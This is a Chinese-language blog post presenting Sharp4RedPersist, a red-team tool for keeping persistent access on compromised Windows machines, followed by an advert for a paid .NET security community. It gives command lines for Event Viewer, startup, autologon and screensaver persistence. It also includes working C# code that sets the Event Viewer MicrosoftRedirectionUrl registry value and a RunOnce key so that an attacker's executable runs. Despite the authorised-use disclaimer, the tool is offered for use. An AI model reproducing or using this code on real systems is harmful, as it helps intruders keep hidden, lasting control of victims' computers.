01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4RedPersist是一款功能强大的持久化工具,专为在Windows环境中操作的红队设计。通过利用各种持久化机制,这款工具能够在被攻陷的系统上维持访问权限。Sharp4RedPersist支持八种或更多不同的方法,确保通过多个向量保持持久访问。
03使用方法
Sharp4RedPersist支持以下持久化方法,每种方法都可以使用特定的命令行参数调用。
3.1 EventViewer
事件查看器:通过操纵事件查看器助手实现持久化。
Sharp4RedPersist.exe --eventviewer C:\Users\User\exe.exe
3.2 Startup
启动项:通过将可执行文件添加到系统启动项来确保持久化
Sharp4RedPersist.exe --startup C:\Users\User\exe.exe
3.3 Autologon
自动登录:利用自动登录功能实现持久化
Sharp4RedPersist.exe --autologon C:\Users\User\exe.exe
3.4 Screensaver
屏幕保护程序:通过屏幕保护程序设置实现持久化。
Sharp4RedPersist.exe --screensaver C:\Users\User\exe.exe
04编码实现
Sharp4RedPersist工具主要通过修改Windows注册表来操作,Windows注册表是存储配置设置和选项的重要组件。以下是事件查看器和启动项方法的实现,展示了Sharp4RedPersist如何通过操纵注册表项实现持久化。
事件查看器方法在Microsoft\Windows NT\CurrentVersion\Event Viewer下创建一个注册表项,并将重定向URL设置为指定的可执行文件:
public class Eventviewer1
{
public static void Do(string[] args)
{
RegistryKey hklm = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
RegistryKey key = hklm.OpenSubKey("SOFTWARE", true);
key = key.CreateSubKey("Microsoft\\Windows NT\\CurrentVersion\\Event Viewer");
key.SetValue("MicrosoftRedirectionUrl", args[1], RegistryValueKind.String);
key.Close();
Console.WriteLine("[*] Eventviewer Persistence created");
}
}
启动项方法在SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce下创建一个注册表项,确保可执行文件在启动时运行:
public class Startup1
{
public static void Do(string[] args)
{
RegistryKey key = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
key.SetValue("detect", args[1]);
key.Close();
Console.WriteLine("[*] Startup Persistence created");
}
}
05.NET安全星球
从.NET Framework到.NET Core,从Web应用到PC端软件应用,并且每日分享.NET安全技术干货以及交流解答各类技术等问题。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。